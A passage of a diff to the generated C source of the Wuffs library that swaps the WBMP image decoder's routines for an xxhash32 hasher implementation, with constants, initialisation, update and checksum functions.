++wuffs_webp__decoder__workbuf_len( ++ const wuffs_webp__decoder* self) { + if (!self) { + return wuffs_base__utility__empty_range_ii_u64(); + } +@@ -60446,92 +75472,66 @@ wuffs_tga__decoder__workbuf_len( + return wuffs_base__utility__empty_range_ii_u64(); + } + +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return wuffs_base__utility__make_range_ii_u64(((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[3u])), ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[3u]))); + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) + + // ---------------- Status Codes Implementations + +-const char wuffs_wbmp__error__bad_header[] = "#wbmp: bad header"; +-const char wuffs_wbmp__error__truncated_input[] = "#wbmp: truncated input"; +- + // ---------------- Private Consts + +-// ---------------- Private Initializer Prototypes ++#define WUFFS_XXHASH32__XXH_PRIME32_1 2654435761u + +-// ---------------- Private Function Prototypes ++#define WUFFS_XXHASH32__XXH_PRIME32_2 2246822519u + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); ++#define WUFFS_XXHASH32__XXH_PRIME32_3 3266489917u + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); ++#define WUFFS_XXHASH32__XXH_PRIME32_4 668265263u ++ ++#define WUFFS_XXHASH32__XXH_PRIME32_5 374761393u ++ ++#define WUFFS_XXHASH32__INITIAL_V0 606290984u ++ ++#define WUFFS_XXHASH32__INITIAL_V1 2246822519u ++ ++#define WUFFS_XXHASH32__INITIAL_V2 0u ++ ++#define WUFFS_XXHASH32__INITIAL_V3 1640531535u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++static wuffs_base__empty_struct ++wuffs_xxhash32__hasher__up( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x); + + // ---------------- VTables + +-const wuffs_base__image_decoder__func_ptrs +-wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_wbmp__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_wbmp__decoder__frame_dirty_rect), ++const wuffs_base__hasher_u32__func_ptrs ++wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { ++ (uint32_t(*)(const void*))(&wuffs_xxhash32__hasher__checksum_u32), + (uint64_t(*)(const void*, +- uint32_t))(&wuffs_wbmp__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_wbmp__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_wbmp__decoder__restart_frame), ++ uint32_t))(&wuffs_xxhash32__hasher__get_quirk), + (wuffs_base__status(*)(void*, + uint32_t, +- uint64_t))(&wuffs_wbmp__decoder__set_quirk), ++ uint64_t))(&wuffs_xxhash32__hasher__set_quirk), + (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_wbmp__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_wbmp__decoder__workbuf_len), ++ wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update), ++ (uint32_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update_u32), + }; + + // ---------------- Initializer Implementations + + wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_wbmp__decoder__initialize( +- wuffs_wbmp__decoder* self, ++wuffs_xxhash32__hasher__initialize( ++ wuffs_xxhash32__hasher* self, + size_t sizeof_star_self, + uint64_t wuffs_version, + uint32_t options){ +@@ -60569,22 +75569,22 @@ wuffs_wbmp__decoder__initialize( + } + + self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = ++ wuffs_base__hasher_u32__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = ++ (const void*)(&wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32); + return wuffs_base__make_status(NULL); + } + +-wuffs_wbmp__decoder* +-wuffs_wbmp__decoder__alloc(void) { +- wuffs_wbmp__decoder* x = +- (wuffs_wbmp__decoder*)(calloc(sizeof(wuffs_wbmp__decoder), 1)); ++wuffs_xxhash32__hasher* ++wuffs_xxhash32__hasher__alloc(void) { ++ wuffs_xxhash32__hasher* x = ++ (wuffs_xxhash32__hasher*)(calloc(1, sizeof(wuffs_xxhash32__hasher))); + if (!x) { + return NULL; + } +- if (wuffs_wbmp__decoder__initialize( +- x, sizeof(wuffs_wbmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ if (wuffs_xxhash32__hasher__initialize( ++ x, sizeof(wuffs_xxhash32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { + free(x); + return NULL; + } +@@ -60592,18 +75592,18 @@ wuffs_wbmp__decoder__alloc(void) { + } + + size_t +-sizeof__wuffs_wbmp__decoder(void) { +- return sizeof(wuffs_wbmp__decoder); ++sizeof__wuffs_xxhash32__hasher(void) { ++ return sizeof(wuffs_xxhash32__hasher); + } + + // ---------------- Function Implementations + +-// -------- func wbmp.decoder.get_quirk ++// -------- func xxhash32.hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_wbmp__decoder__get_quirk( +- const wuffs_wbmp__decoder* self, ++wuffs_xxhash32__hasher__get_quirk( ++ const wuffs_xxhash32__hasher* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -60616,12 +75616,12 @@ wuffs_wbmp__decoder__get_quirk( + return 0u; + } + +-// -------- func wbmp.decoder.set_quirk ++// -------- func xxhash32.hasher.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__set_quirk( +- wuffs_wbmp__decoder* self, ++wuffs_xxhash32__hasher__set_quirk( ++ wuffs_xxhash32__hasher* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -60637,627 +75637,387 @@ wuffs_wbmp__decoder__set_quirk( + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func wbmp.decoder.decode_image_config ++// -------- func xxhash32.hasher.update + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_xxhash32__hasher__update( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return wuffs_base__make_empty_struct(); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_decode_image_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_empty_struct(); + } +- return status; +-} +- +-// -------- func wbmp.decoder.do_decode_image_config +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_image_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_p = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ wuffs_base__slice_u8 v_remaining = {0}; + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_do_decode_image_config[0].v_i; +- v_p = self->private_data.s_do_decode_image_config[0].v_p; ++ if ((self->private_impl.f_length_modulo_u32 == 0u) && ! self->private_impl.f_length_overflows_u32) { ++ self->private_impl.f_v0 = 606290984u; ++ self->private_impl.f_v1 = 2246822519u; ++ self->private_impl.f_v2 = 0u; ++ self->private_impl.f_v3 = 1640531535u; + } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- v_i = 0u; +- while (v_i < 2u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_wbmp__error__bad_header); +- goto exit; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 2u) { +- v_p = 0u; +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- v_p |= ((uint32_t)((v_c & 127u))); +- if ((v_c >> 7u) == 0u) { +- break; +- } else if (v_p > 131071u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); +- goto exit; +- } +- v_p <<= 7u; +- } +- if (v_i == 0u) { +- self->private_impl.f_width = v_p; +- } else { +- self->private_impl.f_height = v_p; +- } +- v_i += 1u; +- } +- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); +- if (a_dst != NULL) { +- wuffs_base__image_config__set( +- a_dst, +- 2198077448u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height, +- self->private_impl.f_frame_config_io_position, +- true); ++ while (((uint64_t)(a_x.len)) > 0u) { ++ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); ++ if (((uint64_t)(a_x.len)) > 16777216u) { ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 16777216u); ++ a_x = wuffs_base__slice_u8__subslice_j(a_x, 16777216u); + } +- self->private_impl.f_call_sequence = 32u; +- +- goto ok; +- ok: +- self->private_impl.p_do_decode_image_config[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_decode_image_config[0].v_i = v_i; +- self->private_data.s_do_decode_image_config[0].v_p = v_p; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ wuffs_xxhash32__hasher__up(self, a_x); ++ a_x = v_remaining; + } +- +- return status; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.decode_frame_config ++// -------- func xxhash32.hasher.update_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__update_u32( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 2)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- +- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- while (true) { +- { +- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame_config(self, a_dst, a_src); +- v_status = t_0; +- } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); +- goto exit; +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- } +- +- ok: +- self->private_impl.p_decode_frame_config[0] = 0; +- goto exit; ++ return 0; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; ++ wuffs_xxhash32__hasher__update(self, a_x); ++ return wuffs_xxhash32__hasher__checksum_u32(self); + } + +-// -------- func wbmp.decoder.do_decode_frame_config ++// -------- func xxhash32.hasher.up + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_wbmp__decoder__do_decode_frame_config( +- wuffs_wbmp__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++static wuffs_base__empty_struct ++wuffs_xxhash32__hasher__up( ++ wuffs_xxhash32__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint32_t v_new_lmu = 0; ++ uint32_t v_buf_u32 = 0; ++ uint32_t v_buf_len = 0; ++ uint32_t v_v0 = 0; ++ uint32_t v_v1 = 0; ++ uint32_t v_v2 = 0; ++ uint32_t v_v3 = 0; ++ wuffs_base__slice_u8 v_p = {0}; + +- if (self->private_impl.f_call_sequence == 32u) { +- } else if (self->private_impl.f_call_sequence < 32u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_wbmp__decoder__do_decode_image_config(self, NULL, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if (self->private_impl.f_call_sequence == 40u) { +- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_restart); +- goto exit; +- } +- } else if (self->private_impl.f_call_sequence == 64u) { +- self->private_impl.f_call_sequence = 96u; +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; +- } else { +- status = wuffs_base__make_status(wuffs_base__note__end_of_data); +- goto ok; ++ v_new_lmu = ((uint32_t)(self->private_impl.f_length_modulo_u32 + ((uint32_t)(((uint64_t)(a_x.len)))))); ++ self->private_impl.f_length_overflows_u32 = ((v_new_lmu < self->private_impl.f_length_modulo_u32) || self->private_impl.f_length_overflows_u32); ++ self->private_impl.f_length_modulo_u32 = v_new_lmu; ++ while (true) { ++ if (self->private_impl.f_buf_len >= 16u) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); ++ v_v0 = ((uint32_t)(self->private_impl.f_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); ++ self->private_impl.f_v0 = ((uint32_t)(v_v0 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); ++ v_v1 = ((uint32_t)(self->private_impl.f_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); ++ self->private_impl.f_v1 = ((uint32_t)(v_v1 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); ++ v_v2 = ((uint32_t)(self->private_impl.f_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); ++ self->private_impl.f_v2 = ((uint32_t)(v_v2 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[12u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[13u])) << 8u) | ++ (((uint32_t)(self->private_impl.f_buf_data[14u])) << 16u) | ++ (((uint32_t)(self->private_impl.f_buf_data[15u])) << 24u)); ++ v_v3 = ((uint32_t)(self->private_impl.f_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); ++ self->private_impl.f_v3 = ((uint32_t)(v_v3 * 2654435761u)); ++ self->private_impl.f_buf_len = 0u; ++ break; + } +- if (a_dst != NULL) { +- wuffs_base__frame_config__set( +- a_dst, +- wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height), +- ((wuffs_base__flicks)(0u)), +- 0u, +- self->private_impl.f_frame_config_io_position, +- 0u, +- true, +- false, +- 4278190080u); ++ if (((uint64_t)(a_x.len)) <= 0u) { ++ return wuffs_base__make_empty_struct(); + } +- self->private_impl.f_call_sequence = 64u; +- +- ok: +- self->private_impl.p_do_decode_frame_config[0] = 0; +- goto exit; ++ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ self->private_impl.f_buf_len += 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } +- +- goto suspend; +- suspend: +- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ v_buf_len = ((uint32_t)(((uint8_t)(self->private_impl.f_buf_len & 15u)))); ++ v_v0 = self->private_impl.f_v0; ++ v_v1 = self->private_impl.f_v1; ++ v_v2 = self->private_impl.f_v2; ++ v_v3 = self->private_impl.f_v3; ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 16; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16)); ++ while (v_p.ptr < i_end0_p) { ++ v_buf_u32 = (((uint32_t)(v_p.ptr[0u])) | ++ (((uint32_t)(v_p.ptr[1u])) << 8u) | ++ (((uint32_t)(v_p.ptr[2u])) << 16u) | ++ (((uint32_t)(v_p.ptr[3u])) << 24u)); ++ v_v0 = ((uint32_t)(v_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); ++ v_v0 = ((uint32_t)(v_v0 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(v_p.ptr[4u])) | ++ (((uint32_t)(v_p.ptr[5u])) << 8u) | ++ (((uint32_t)(v_p.ptr[6u])) << 16u) | ++ (((uint32_t)(v_p.ptr[7u])) << 24u)); ++ v_v1 = ((uint32_t)(v_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); ++ v_v1 = ((uint32_t)(v_v1 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(v_p.ptr[8u])) | ++ (((uint32_t)(v_p.ptr[9u])) << 8u) | ++ (((uint32_t)(v_p.ptr[10u])) << 16u) | ++ (((uint32_t)(v_p.ptr[11u])) << 24u)); ++ v_v2 = ((uint32_t)(v_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); ++ v_v2 = ((uint32_t)(v_v2 * 2654435761u)); ++ v_buf_u32 = (((uint32_t)(v_p.ptr[12u])) | ++ (((uint32_t)(v_p.ptr[13u])) << 8u) | ++ (((uint32_t)(v_p.ptr[14u])) << 16u) | ++ (((uint32_t)(v_p.ptr[15u])) << 24u)); ++ v_v3 = ((uint32_t)(v_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); ++ v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); ++ v_v3 = ((uint32_t)(v_v3 * 2654435761u)); ++ v_p.ptr += 16; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; ++ v_buf_len = ((v_buf_len + 1u) & 15u); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } +- +- return status; ++ self->private_impl.f_buf_len = ((uint8_t)(v_buf_len)); ++ self->private_impl.f_v0 = v_v0; ++ self->private_impl.f_v1 = v_v1; ++ self->private_impl.f_v2 = v_v2; ++ self->private_impl.f_v3 = v_v3; ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func wbmp.decoder.decode_frame ++// -------- func xxhash32.hasher.checksum_u32 + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_wbmp__decoder__decode_frame( +- wuffs_wbmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts) { ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_xxhash32__hasher__checksum_u32( ++ const wuffs_xxhash32__hasher* self) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return 0; + } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ uint32_t v_ret = 0; ++ uint32_t v_i = 0; ++ uint32_t v_n = 0; ++ uint32_t v_buf_u32 = 0; ++ ++ if ((self->private_impl.f_length_modulo_u32 >= 16u) || self->private_impl.f_length_overflows_u32) { ++ v_ret += (((uint32_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 31u)); ++ v_ret += (((uint32_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 25u)); ++ v_ret += (((uint32_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 20u)); ++ v_ret += (((uint32_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 14u)); ++ v_ret += self->private_impl.f_length_modulo_u32; ++ } else { ++ v_ret += 374761393u; ++ v_ret += self->private_impl.f_length_modulo_u32; ++ } ++ v_n = 16u; ++ v_n = wuffs_base__u32__min(v_n, ((uint32_t)(self->private_impl.f_buf_len))); ++ if (4u <= v_n) { ++ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | ++ (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | 